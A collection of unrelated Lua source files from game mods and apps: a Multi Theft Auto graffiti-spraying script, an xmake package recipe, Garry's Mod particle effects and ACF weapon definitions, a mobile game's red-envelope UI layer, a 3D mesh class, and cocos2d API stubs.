TAG_VISIBILITY_DISTANCE = 100 TAG_VISIBILITY_DISTANCE_SQ = TAG_VISIBILITY_DISTANCE*TAG_VISIBILITY_DISTANCE function initSpraying() empty_tex = dxCreateTexture(0,0) tag_root = getElementByID("drawtag:tags") all_tags = {} visible_tags = {} initTagPosData() initExistingTags() tag_stream_thread = coroutine.create(streamTags) addEventHandler("onClientElementDataChange",tag_root,updateTagData) addEventHandler("onClientElementDestroy",tag_root,clearTagData) addEventHandler("onClientElementDataChange",localPlayer,updateTextureForNewTag) addEventHandler("onClientPreRender",root,renderTags) addEventHandler("onClientPlayerWeaponFire",root,playerSpraying) end function initExistingTags() local tags = getElementChildren(tag_root) for tagnum,tag in ipairs(tags) do if getElementData(tag,"visible") then pushTagOnSpray(tag,getElementData(tag,"visibility")-1) addTagToPosList(tag) all_tags[tag] = true end end end function getTagCenterPosition(tag) return getElementData(tag,"x"),getElementData(tag,"y"),getElementData(tag,"z") end function setTagCenterPosition(tag,x,y,z) setElementData(tag,"x",x) setElementData(tag,"y",y) setElementData(tag,"z",z) end function createTagTexture(tag) local tex = getElementData(tag,"texture") if tex then return end local pngdata = getElementData(tag,"pngdata") if not pngdata then return end tex = dxCreateTexture(pngdata,"dxt1",false,"clamp") setElementData(tag,"texture",tex,false) return tex end function destroyTagTexture(tag) local tex = getElementData(tag,"texture") if not tex then return end destroyElement(tex) setElementData(tag,"texture",false,false) end function updateTagData(dataname,oldval) if dataname == "visible" then addTagToPosList(source) all_tags[source] = true local cx,cy,cz = getCameraMatrix() local x,y,z = getTagCenterPosition(source) x,y,z = x-cx,y-cy,z-cz if x*x+y*y+z*z < TAG_VISIBILITY_DISTANCE_SQ then visible_tags[source] = true createTagTexture(source) end elseif dataname == "visibility" and oldval then pushTagOnSpray(source,getElementData(source,"visibility")-oldval) end end function pushTagOnSpray(tag,off) local nx,ny,nz = getElementData(tag,"nx"),getElementData(tag,"ny"),getElementData(tag,"nz") local nlen = 0.001/math.sqrt(nx*nx+ny*ny+nz*nz)*off nx,ny,nz = nx*nlen,ny*nlen,nz*nlen local x1,y1,z1 = getElementData(tag,"x1"),getElementData(tag,"y1"),getElementData(tag,"z1") local x2,y2,z2 = getElementData(tag,"x2"),getElementData(tag,"y2"),getElementData(tag,"z2") x1,y1,z1,x2,y2,z2 = x1+nx,y1+ny,z1+nz,x2+nx,y2+ny,z2+nz setElementData(tag,"x1",x1,false) setElementData(tag,"y1",y1,false) setElementData(tag,"z1",z1,false) setElementData(tag,"x2",x2,false) setElementData(tag,"y2",y2,false) setElementData(tag,"z2",z2,false) end function clearTagData() all_tags[source] = nil visible_tags[source] = nil destroyTagTexture(source) removeTagFromPosList(source) end function renderTags() coroutine.resume(tag_stream_thread) do local x,y,z = getElementPosition(localPlayer) dxDrawMaterialLine3D(x,y,z,x,y,z,empty_tex,0,0,0,0,0) end for tag,visible in pairs(visible_tags) do local x1,y1,z1 = getElementData(tag,"x1"),getElementData(tag,"y1"),getElementData(tag,"z1") local x2,y2,z2 = getElementData(tag,"x2"),getElementData(tag,"y2"),getElementData(tag,"z2") local nx,ny,nz = getElementData(tag,"nx"),getElementData(tag,"ny"),getElementData(tag,"nz") local tex = getElementData(tag,"texture") if (not tex) then tex=createTagTexture(tag) end if (tex) then dxDrawMaterialLine3D(x1,y1,z1,x2,y2,z2,tex,1.5,tocolor(255,255,255,128),x1+nx,y1+ny,z1+nz) end end end function streamTags() while true do local updated = 0 local cx,cy,cz = getCameraMatrix() for tag,exists in pairs(all_tags) do local x,y,z = getTagCenterPosition(tag) x,y,z = x-cx,y-cy,z-cz local dist = x*x+y*y+z*z if visible_tags[tag] then if dist > TAG_VISIBILITY_DISTANCE_SQ then visible_tags[tag] = nil destroyTagTexture(tag) end else if dist <= TAG_VISIBILITY_DISTANCE_SQ then visible_tags[tag] = true createTagTexture(tag) end end updated = updated+1 if updated == 64 then coroutine.yield() updated = 0 cx,cy,cz = getCameraMatrix() end end coroutine.yield() end end local ts = nil function sprayNewTag(x,y,z,x1,y1,z1,x2,y2,z2,nx,ny,nz) if (ts and getTickCount()-ts<120000) then outputChatBox("Poczekaj chwilę.",255,0,0) return end local tag = getElementData(localPlayer,"drawtag:tag") if not tag then return end setTagCenterPosition(tag,x,y,z) setElementData(tag,"x1",x1) setElementData(tag,"y1",y1) setElementData(tag,"z1",z1) setElementData(tag,"x2",x2) setElementData(tag,"y2",y2) setElementData(tag,"z2",z2) setElementData(tag,"nx",nx) setElementData(tag,"ny",ny) setElementData(tag,"nz",nz) setElementData(tag,"visible",true) setElementData(tag,"visibility",1) setElementData(localPlayer,"drawtag:tag",false) local ts = getTickCount() end function updateTextureForNewTag(dataname,oldval) if dataname ~= "drawtag:tag" then return end updateTagTexture() end function playerSpraying(weapon,ammo,inclip,hitx,hity,hitz,hitel) if weapon ~= 41 then return end --local level = getElementData(source,"level") --if not level or level and level~=3 then return end local spraymode = getElementData(source,"drawtag:spraymode") if not spraymode or spraymode=="none" then return end local mx,my,mz = getPedWeaponMuzzlePosition(source) hitx,hity,hitz = hitx-mx,hity-my,hitz-mz local hdist = 2/math.sqrt(hitx*hitx+hity*hity+hitz*hitz) hitx,hity,hitz = mx+hitx*hdist,my+hity*hdist,mz+hitz*hdist local wall,x0,y0,z0,hitel,zx,zy,zz = processLineOfSight(mx,my,mz,hitx,hity,hitz,true,false,false,true,false,false,false,false) if not wall then return end local spraymode_draw = spraymode == "draw" local tag = getNearestTag(x0,y0,z0) if tag then local visibility = getElementData(tag,"visibility") if visibility == 90 and spraymode_draw then return end visibility = spraymode_draw and visibility+1 or visibility-1 local sync = source == localPlayer and visibility%10 == 0 setElementData(tag,"visibility",visibility,sync) elseif source == localPlayer and can_spray and spraymode_draw then local zlen = 1/math.sqrt(zx*zx+zy*zy+zz*zz) local xx,xy,xz local yx,yy,yz do local w,h = guiGetScreenSize() w,h = w*0.5,h*0.5 local x1,y1,z1 = getWorldFromScreenPosition(w,h,1) local cux,cuy,cuz = getWorldFromScreenPosition(w,0,1) cux,cuy,cuz = cux-x1,cuy-y1,cuz-z1 xx,xy,xz = zy*cuz-zz*cuy,zz*cux-zx*cuz,zx*cuy-zy*cux yx,yy,yz = xy*zz-xz*zy,xz*zx-xx*zz,xx*zy-xy*zx end local xlen = 0.75/math.sqrt(xx*xx+xy*xy+xz*xz) local ylen = 0.75/math.sqrt(yx*yx+yy*yy+yz*yz) xx,xy,xz = xx*xlen,xy*xlen,xz*xlen yx,yy,yz = yx*ylen,yy*ylen,yz*ylen do local cx,cy,cz = mx+zx,my+zy,mz+zz local bx,by,bz = x0-zx*0.01,y0-zy*0.01,z0-zz*0.01 if isLineOfSightClear(cx,cy,cz,bx+xx+yx,by+xy+yy,bz+xz+yz,true,false,false,true,false,true,false) then return end if isLineOfSightClear(cx,cy,cz,bx+xx-yx,by+xy-yy,bz+xz-yz,true,false,false,true,false,true,false) then return end if isLineOfSightClear(cx,cy,cz,bx-xx+yx,by-xy+yy,bz-xz+yz,true,false,false,true,false,true,false) then return end if isLineOfSightClear(cx,cy,cz,bx-xx-yx,by-xy-yy,bz-xz-yz,true,false,false,true,false,true,false) then return end local fx,fy,fz = x0+zx*0.01,y0+zy*0.01,z0+zz*0.01 if not isLineOfSightClear(cx,cy,cz,fx+xx+yx,fy+xy+yy,fz+xz+yz,true,false,false,true,false,true,false) then return end if not isLineOfSightClear(cx,cy,cz,fx+xx-yx,fy+xy-yy,fz+xz-yz,true,false,false,true,false,true,false) then return end if not isLineOfSightClear(cx,cy,cz,fx-xx+yx,fy-xy+yy,fz-xz+yz,true,false,false,true,false,true,false) then return end if not isLineOfSightClear(cx,cy,cz,fx-xx-yx,fy-xy-yy,fz-xz-yz,true,false,false,true,false,true,false) then return end end local off1 = -zlen*0.005 local off2 = -zlen*0.075 local x1,y1,z1 = x0+zx*off1+yx,y0+zy*off1+yy,z0+zz*off1+yz local x2,y2,z2 = x0+zx*off2-yx,y0+zy*off2-yy,z0+zz*off2-yz sprayNewTag(x0,y0,z0,x1,y1,z1,x2,y2,z2,zx,zy,zz) end end ---------------------------------------- function initTagPosData() tag_pos_list = {} end function addTagToPosList(tag) local x,y,z = getTagCenterPosition(tag) x,y,z = math.floor(x*0.2),math.floor(y*0.2),math.floor(z*0.2) if not tag_pos_list[z] then tag_pos_list[z] = {} end if not tag_pos_list[z][y] then tag_pos_list[z][y] = {} end if not tag_pos_list[z][y][x] then tag_pos_list[z][y][x] = {} end tag_pos_list[z][y][x][tag] = true end function removeTagFromPosList(tag) if not getElementData(tag,"visible") then return end local x,y,z = getTagCenterPosition(tag) x,y,z = math.floor(x*0.2),math.floor(y*0.2),math.floor(z*0.2) if not tag_pos_list[z] then return end if not tag_pos_list[z][y] then return end if not tag_pos_list[z][y][x] then return end tag_pos_list[z][y][x][tag] = nil end function getNearestTag(x,y,z) local nearest_dist,nearest_tag = 2.25 local cx,cy,cz = math.floor(x*0.2),math.floor(y*0.2),math.floor(z*0.2) for oz = -1,1 do local plane = tag_pos_list[cz+oz] if plane then for oy = -1,1 do local line = plane[cy+oy] if line then for ox = -1,1 do local cube = line[cx+ox] if cube then for tag,exists in pairs(cube) do local dx,dy,dz = getTagCenterPosition(tag) dx,dy,dz = dx-x,dy-y,dz-z local this_dist = dx*dx+dy*dy+dz*dz if this_dist < nearest_dist then nearest_tag = tag nearest_dist = this_dist end end end end end end end end return nearest_tag end ---------------------------------- function getPlayerSprayMode(player) return getElementData(player,"drawtag:spraymode") or "none" end
assert(false, "must happen")
package("unqlite") set_homepage("https://unqlite.org") set_description("An Embedded NoSQL, Transactional Database Engine.") set_urls("https://github.com/symisc/unqlite/archive/v$(version).tar.gz", "https://github.com/symisc/unqlite.git") add_versions("1.1.9", "33d5b5e7b2ca223942e77d31112d2e20512bc507808414451c8a98a7be5e15c0") on_install("macosx", "linux", "windows", function (package) io.writefile("xmake.lua", [[ target("unqlite") set_kind("static") add_files("*.c") add_headerfiles("unqlite.h") ]]) import("package.tools.xmake").install(package) end) on_test(function (package) assert(package:has_cfuncs("unqlite_open", {includes = "unqlite.h"})) end)
function EFFECT:Init( data ) self.Position = data:GetOrigin() local Pos = self.Position local Norm = Vector(0,0,1) Pos = Pos + Norm * 2 local emitter = ParticleEmitter( Pos ) --big firecloud for i=1, 28 do local particle = emitter:Add( "particles/flamelet"..math.random( 1, 5 ), Pos + Vector(math.random(-80,80),math.random(-80,80),math.random(0,70))) particle:SetVelocity( Vector(math.random(-160,160),math.random(-160,160),math.random(250,300)) ) particle:SetDieTime( math.Rand( 3.4, 3.7 ) ) particle:SetStartAlpha( math.Rand( 220, 240 ) ) particle:SetStartSize( 48 ) particle:SetEndSize( math.Rand( 160, 192 ) ) particle:SetRoll( math.Rand( 360, 480 ) ) particle:SetRollDelta( math.Rand( -1, 1 ) ) particle:SetColor( math.Rand( 150, 255 ), math.Rand( 100, 150 ), 100 ) particle:VelocityDecay( false ) end --small firecloud for i=1, 20 do local particle = emitter:Add( "particles/flamelet"..math.random( 1, 5 ), Pos + Vector(math.random(-40,40),math.random(-40,40),math.random(-30,20))) particle:SetVelocity( Vector(math.random(-120,120),math.random(-120,120),math.random(170,250)) ) particle:SetDieTime( math.Rand( 3, 3.4 ) ) particle:SetStartAlpha( math.Rand( 220, 240 ) ) particle:SetStartSize( 32 ) particle:SetEndSize( math.Rand( 128, 160 ) ) particle:SetRoll( math.Rand( 360, 480 ) ) particle:SetRollDelta( math.Rand( -1, 1 ) ) particle:SetColor( math.Rand( 150, 255 ), math.Rand( 100, 150 ), 100 ) particle:VelocityDecay( false ) end --base explosion for i=1, 36 do local particle = emitter:Add( "particles/flamelet"..math.random( 1, 5 ), Pos + Vector(math.random(-40,40),math.random(-40,40),math.random(10,70))) particle:SetVelocity( Vector(math.random(-300,300),math.random(-300,300),math.random(-20,180)) ) particle:SetDieTime( math.Rand( 1.8, 2 ) ) particle:SetStartAlpha( math.Rand( 220, 240 ) ) particle:SetStartSize( 48 ) particle:SetEndSize( math.Rand( 128, 160 ) ) particle:SetRoll( math.Rand( 360,480 ) ) particle:SetRollDelta( math.Rand( -1, 1 ) ) particle:SetColor( math.Rand( 150, 255 ), math.Rand( 100, 150 ), 100 ) particle:VelocityDecay( true ) end --smoke puff for i=1, 24 do local particle = emitter:Add( "particles/smokey", Pos + Vector(math.random(-40,40),math.random(-40,40),math.random(-30,10))) particle:SetVelocity( Vector(math.random(-280,280),math.random(-280,280),math.random(0,180)) ) particle:SetDieTime( math.Rand( 1.9, 2.3 ) ) particle:SetStartAlpha( math.Rand( 60, 80 ) ) particle:SetStartSize( math.Rand( 32, 48 ) ) particle:SetEndSize( math.Rand( 192, 256 ) ) particle:SetRoll( math.Rand( 360, 480 ) ) particle:SetRollDelta( math.Rand( -1, 1 ) ) particle:SetColor( 170, 160, 160 ) particle:VelocityDecay( false ) end -- big smoke cloud for i=1, 24 do local particle = emitter:Add( "particles/smokey", Pos + Vector(math.random(-40,40),math.random(-40,50),math.random(20,80))) particle:SetVelocity( Vector(math.random(-180,180),math.random(-180,180),math.random(260,340)) ) particle:SetDieTime( math.Rand( 3.5, 3.7 ) ) particle:SetStartAlpha( math.Rand( 60, 80 ) ) particle:SetStartSize( math.Rand( 32, 48 ) ) particle:SetEndSize( math.Rand( 192, 256 ) ) particle:SetRoll( math.Rand( 480, 540 ) ) particle:SetRollDelta( math.Rand( -1, 1 ) ) particle:SetColor( 170, 170, 170 ) particle:VelocityDecay( false ) end -- small smoke cloud for i=1, 18 do local particle = emitter:Add( "particles/smokey", Pos + Vector(math.random(-40,40),math.random(-40,40),math.random(-30,60))) particle:SetVelocity( Vector(math.random(-200,200),math.random(-200,200),math.random(120,200)) ) particle:SetDieTime( math.Rand( 3.1, 3.4 ) ) particle:SetStartAlpha( math.Rand( 60, 80 ) ) particle:SetStartSize( math.Rand( 32, 48 ) ) particle:SetEndSize( math.Rand( 192, 256 ) ) particle:SetRoll( math.Rand( 480, 540 ) ) particle:SetRollDelta( math.Rand( -1, 1 ) ) particle:SetColor( 170, 170, 170 ) particle:VelocityDecay( false ) end emitter:Finish() end function EFFECT:Think( ) return false end function EFFECT:Render() -- Do nothing - this effect is only used to spawn the particles in Init end
require("hall/redEnvelope/data/redEnvelopeDataInterface"); local hallLayerBaseWithName = require("hall/widget/hallLayerBaseWithName") local RedEnvelopeRecieverLayer = class(hallLayerBaseWithName,false); RedEnvelopeRecieverLayer.s_layerName = "redenvelope_reciever"; RedEnvelopeRecieverLayer.s_HSpace = 0; RedEnvelopeRecieverLayer.s_VSpace = 0; RedEnvelopeRecieverLayer.ctor = function(self,p_data) self.m_data = p_data or {}; RedEnvelopDataInterface.getInstance():setObserver(self); local __configTab = require(ViewPath.."hall/redEnvelope/reciever_red_envelope"); super(self,__configTab,nil,RedEnvelopeRecieverLayer.s_layerName); self:declareLayoutVar(ViewPath.."hall/redEnvelope/reciever_red_envelope".."_layout_var"); self:setTouchTransfer(true); self:setDragTransfer(true); self:setFillParent(true, true); self:getHandle(); self:init(); local __isActivityShowing = RedEnvelopDataInterface.getInstance():isActivityShowing(); if __isActivityShowing then self:setVisible(false); end end RedEnvelopeRecieverLayer.dtor = function(self) RedEnvelopDataInterface.getInstance():clearObserver(self); self:removeProp(6); end --得到相关句柄 RedEnvelopeRecieverLayer.getHandle = function(self) --编辑器里控件的句柄 self:getComponent(); end RedEnvelopeRecieverLayer.init = function(self) self.mm_Swf_reciever:setEventDrag(self.mm_Swf_reciever,function() end); --晃动两下 local x,y = RedEnvelopDataInterface.getInstance():getRecieverPos(); self.mm_Swf_reciever:setPos(x,y); local __angle = 10; local __time = 80; self.m_swf_pro1 = self.mm_Swf_reciever:addPropRotate(1, kAnimNormal, __time, 0, 360-__angle, 360 + __angle, kCenterDrawing); self.m_swf_pro1:setDebugName("RedEnvelopeRecieverLayer.init1"); self.m_swf_pro2= self.mm_Swf_reciever:addPropRotate(2, kAnimNormal, __time*1.5, __time, 360 + __angle,360-(__angle*2), kCenterDrawing); self.m_swf_pro2:setDebugName("RedEnvelopeRecieverLayer.init2"); self.m_swf_pro3 = self.mm_Swf_reciever:addPropRotate(3, kAnimNormal, __time*1.5, __time*2.5, 360-__angle, 360 + (__angle*2), kCenterDrawing); self.m_swf_pro3:setDebugName("RedEnvelopeRecieverLayer.init3"); self.m_swf_pro4 = self.mm_Swf_reciever:addPropRotate(4, kAnimNormal, __time, __time*4, 360 + __angle, 360-__angle, kCenterDrawing); self.m_swf_pro4:setDebugName("RedEnvelopeRecieverLayer.init4"); local __unitTime = __time * 5; self.m_swf_pro5 = self.mm_Swf_reciever:addPropRotate(5, kAnimNormal, __time, __unitTime, 360-__angle, 360 + __angle, kCenterDrawing); self.m_swf_pro5:setDebugName("RedEnvelopeRecieverLayer.m_swf_pro5"); self.m_swf_pro6= self.mm_Swf_reciever:addPropRotate(6, kAnimNormal, __time*1.5,__unitTime +__time, 360 + __angle,360-(__angle*2), kCenterDrawing); self.m_swf_pro6:setDebugName("RedEnvelopeRecieverLayer.m_swf_pro6"); self.m_swf_pro7 = self.mm_Swf_reciever:addPropRotate(7, kAnimNormal, __time*1.5,__unitTime + __time*2.5, 360-__angle, 360 + (__angle*2), kCenterDrawing); self.m_swf_pro7:setDebugName("RedEnvelopeRecieverLayer.m_swf_pro7"); self.m_swf_pro8 = self.mm_Swf_reciever:addPropRotate(8, kAnimNormal, __time,__unitTime + __time*4, 360 + __angle, 360-__angle, kCenterDrawing); self.m_swf_pro8:setDebugName("RedEnvelopeRecieverLayer.m_swf_pro8"); --self.m_swf_pro:setEvent(); end --------------------------------private------------------------------------- RedEnvelopeRecieverLayer._moveBall = function(self, diffX, diffY) local curPosX, curPosY = self.mm_Swf_reciever:getPos(); local endPosX, endPosY = curPosX+diffX, curPosY+diffY; local left, right, top, bottom = self:_getMargin(); endPosX = math.max(left, endPosX); endPosX = math.min(right, endPosX); endPosY = math.max(top, endPosY); endPosY = math.min(bottom, endPosY); self.mm_Swf_reciever:setPos(endPosX, endPosY); RedEnvelopDataInterface.getInstance():setRecieverPos(endPosX, endPosY); end RedEnvelopeRecieverLayer._getMargin = function(self) local screenW, screenH = System.getScreenScaleWidth(), System.getScreenScaleHeight(); local ballW, ballH = self.mm_Swf_reciever:getSize(); local left = RedEnvelopeRecieverLayer.s_HSpace; local right = screenW-RedEnvelopeRecieverLayer.s_HSpace-ballW; local top = RedEnvelopeRecieverLayer.s_VSpace; local bottom = screenH-RedEnvelopeRecieverLayer.s_VSpace-ballH; return left, right, top, bottom; end --------------------------------点击回掉函数-------------------------------- RedEnvelopeRecieverLayer.onBindReciever = function(self,finger_action,x,y,drawing_id_first,drawing_id_current) if finger_action == kFingerDown then self.m_orgX, self.m_orgY = x, y; self.m_lastX, self.m_lastY = x, y; self.m_maxMoveX, self.m_maxMoveY = 0, 0; elseif finger_action == kFingerMove then self:_moveBall(x-self.m_lastX, y-self.m_lastY); self.m_lastX, self.m_lastY = x, y; self.m_maxMoveX = math.max( math.abs(x-self.m_orgX), self.m_maxMoveX ); self.m_maxMoveY = math.max( math.abs(y-self.m_orgY), self.m_maxMoveY ); else self.m_maxMoveX = math.max( math.abs(x-self.m_orgX), self.m_maxMoveX ); self.m_maxMoveY = math.max( math.abs(y-self.m_orgY), self.m_maxMoveY ); if self.m_maxMoveX < 10 and self.m_maxMoveY < 10 then self:close(); --抢红包 RedEnvelopDataInterface.getInstance():requestGetRedEnvelop(self.m_data.id); else end end end return RedEnvelopeRecieverLayer;
local logger = require 'examples.middlewares.logger' local thunk = require 'examples.middlewares.thunk' local middlewares = { thunk, logger, } return middlewares
------------------------------------------------------------------------------------------------------------ --/* -- * Created by David Lannan -- * User: David Lannan -- * Date: 5/31/2012 -- * Time: 10:10 PM -- * -- */ ------------------------------------------------------------------------------------------------------------ require("framework/byt3dRender") require("framework/byt3dIBuffer") local byt3dio = require( "byt3d/scripts/utils/fileio" ) ------------------------------------------------------------------------------------------------------------ --/// <summary> --/// Description of byt3dMesh. --/// </summary> byt3dMesh = { -- /// <summary> -- /// Program position -- /// </summary> shader = nil, -- This is an array of byt3dIBuffer Objects ibuffers = {}, boundMin = { math.huge, math.huge, math.huge, 0.0 }, boundMax = { -math.huge, -math.huge, -math.huge, 0.0 }, boundCtr = { 0.0, 0.0, 0.0, 0.0 }, -- // TODO: Need to get this out of here! Need proper materials!! tex0 = nil, tex1 = nil, -- shadow information for mesh - cast and receive shadows_cast = 1, shadows_recv = 1, -- // Render Priority... priority = 1024 } ------------------------------------------------------------------------------------------------------------ -- /// <summary> -- /// On construction set bounds to rediculous size, so min/max can be calculated. -- /// </summary> function byt3dMesh:New() local newmesh = deepcopy(byt3dMesh) newmesh.boundMax = { -math.huge, -math.huge, -math.huge } newmesh.boundMin = { math.huge, math.huge, math.huge } newmesh.priority = 1024 return newmesh end ------------------------------------------------------------------------------------------------------------ function byt3dMesh:FromFile(dMesh) local newmesh = deepcopy(byt3dMesh) newmesh.boundMax = dMesh.boundmax newmesh.boundMin = dMesh.boundmin newmesh.priority = dMesh.priority newmesh.ibuffers = byt3dIBuffer:FromFile(dMesh) return newmesh end ------------------------------------------------------------------------------------------------------------ function byt3dMesh:FromMesh(dMesh) local newmesh = deepcopy(byt3dMesh) newmesh.boundMax = { -math.huge, -math.huge, -math.huge } newmesh.boundMin = { math.huge, math.huge, math.huge } newmesh.priority = 1024 newmesh.ibuffers = byt3dIBuffer:FromMesh(newmesh, dMesh) return newmesh end ------------------------------------------------------------------------------------------------------------ function byt3dMesh:SetShaderFromModel( model ) self.shader = model.shader end ------------------------------------------------------------------------------------------------------------ function byt3dMesh:SetShader( shader ) self.shader = shader end ------------------------------------------------------------------------------------------------------------ function byt3dMesh:SetPriority( priority ) self.priority = priority end ------------------------------------------------------------------------------------------------------------ function byt3dMesh:SetupTexture( filePath, scene, mat ) self.tex0 = byt3dTexture:New(filePath, scene, mat) end ------------------------------------------------------------------------------------------------------------ function byt3dMesh:SetTexture( tex ) self.tex0 = tex end ------------------------------------------------------------------------------------------------------------ function byt3dMesh:Init( filePath, m, sc ) -- // Texture setup local mat = sc.Materials[m.MaterialIndex] if(mat ~= nil) then self:SetupTexture(filePath, sc, mat) end self:InitBuffers(m) end ------------------------------------------------------------------------------------------------------------ function byt3dMesh:RenderTextureRect( x, y, w, h ) byt3dRender:RenderTexRect(self, x, y, w, h) end ------------------------------------------------------------------------------------------------------------ function byt3dMesh:Render() -- // Shader changed - just in case we do byt3dRender:RenderMesh( self ) end ------------------------------------------------------------------------------------------------------------
-------------------------------- -- @module Scene -- @extend Node -- @parent_module cc -------------------------------- -- render the scene -- @function [parent=#Scene] render -- @param self -- @param #cc.Renderer renderer -- @return Scene#Scene self (return value: cc.Scene) -------------------------------- -- -- @function [parent=#Scene] getDefaultCamera -- @param self -- @return Camera#Camera ret (return value: cc.Camera) -------------------------------- -- creates a new Scene object with a predefined Size -- @function [parent=#Scene] createWithSize -- @param self -- @param #size_table size -- @return Scene#Scene ret (return value: cc.Scene) -------------------------------- -- creates a new Scene object -- @function [parent=#Scene] create -- @param self -- @return Scene#Scene ret (return value: cc.Scene) -------------------------------- -- @overload self, cc.Node, int, string -- @overload self, cc.Node, int, int -- @function [parent=#Scene] addChild -- @param self -- @param #cc.Node child -- @param #int zOrder -- @param #int tag -- @return Scene#Scene self (return value: cc.Scene) -------------------------------- -- -- @function [parent=#Scene] getDescription -- @param self -- @return string#string ret (return value: string) return nil
--define the class ACF_defineGunClass("RAC", { spread = 0.4, name = "Rotary Autocannon", desc = "Rotary Autocannons sacrifice weight, bulk and accuracy over classic Autocannons to get the highest rate of fire possible.", muzzleflash = "mg_muzzleflash_noscale", rofmod = 0.07, sound = "weapons/acf_gun/mg_fire3.mp3", soundDistance = " ", soundNormal = " ", color = {135, 135, 135} } ) ACF_defineGun("14.5mmRAC", { --id name = "14.5mm Rotary Autocannon", desc = "A lightweight rotary autocannon, used primarily against infantry and light vehicles. It has a lower firerate than its larger brethren, but a significantly quicker cooldown period as well.", model = "models/rotarycannon/kw/14_5mmrac.mdl", gunclass = "RAC", caliber = 1.45, weight = 240, year = 1962, magsize = 60, magreload = 6, rofmod = 5.4, round = { maxlength = 25, propweight = 0.06 } } ) ACF_defineGun("20mmRAC", { name = "20mm Rotary Autocannon", desc = "The 20mm is able to chew up light armor with decent penetration or put up a big flak screen. Typically mounted on ground attack aircraft, SPAAGs and the ocassional APC. Suffers from a moderate cooldown period between bursts to avoid overheating the barrels.", model = "models/rotarycannon/kw/20mmrac.mdl", gunclass = "RAC", caliber = 2.0, weight = 760, year = 1965, magsize = 40, magreload = 7, rofmod = 2.1, round = { maxlength = 30, propweight = 0.12 } } ) ACF_defineGun("30mmRAC", { name = "30mm Rotary Autocannon", desc = "The 30mm is the bane of ground-attack aircraft, able to tear up light armor without giving one single fuck. Also seen in the skies above dead T-72s. Has a moderate cooldown period between bursts to avoid overheating the barrels.", model = "models/rotarycannon/kw/30mmrac.mdl", gunclass = "RAC", caliber = 3.0, weight = 1500, year = 1975, magsize = 40, magreload = 8, rofmod = 1, round = { maxlength = 40, propweight = 0.350 } } ) ACF_defineGun("20mmHRAC", { name = "20mm Heavy Rotary Autocannon", desc = "A reinforced, heavy-duty 20mm rotary autocannon, able to fire heavier rounds with a larger magazine. Phalanx.", model = "models/rotarycannon/kw/20mmrac.mdl", gunclass = "RAC", caliber = 2.0, weight = 1200, year = 1981, magsize = 60, magreload = 4, rofmod = 2.5, round = { maxlength = 36, propweight = 0.12 } } ) ACF_defineGun("30mmHRAC", { name = "30mm Heavy Rotary Autocannon", desc = "A reinforced, heavy duty 30mm rotary autocannon, able to fire heavier rounds with a larger magazine. Keeper of goals.", model = "models/rotarycannon/kw/30mmrac.mdl", gunclass = "RAC", caliber = 3.0, weight = 2850, year = 1985, magsize = 50, magreload = 6, rofmod = 1.2, round = { maxlength = 45, propweight = 0.350 } } )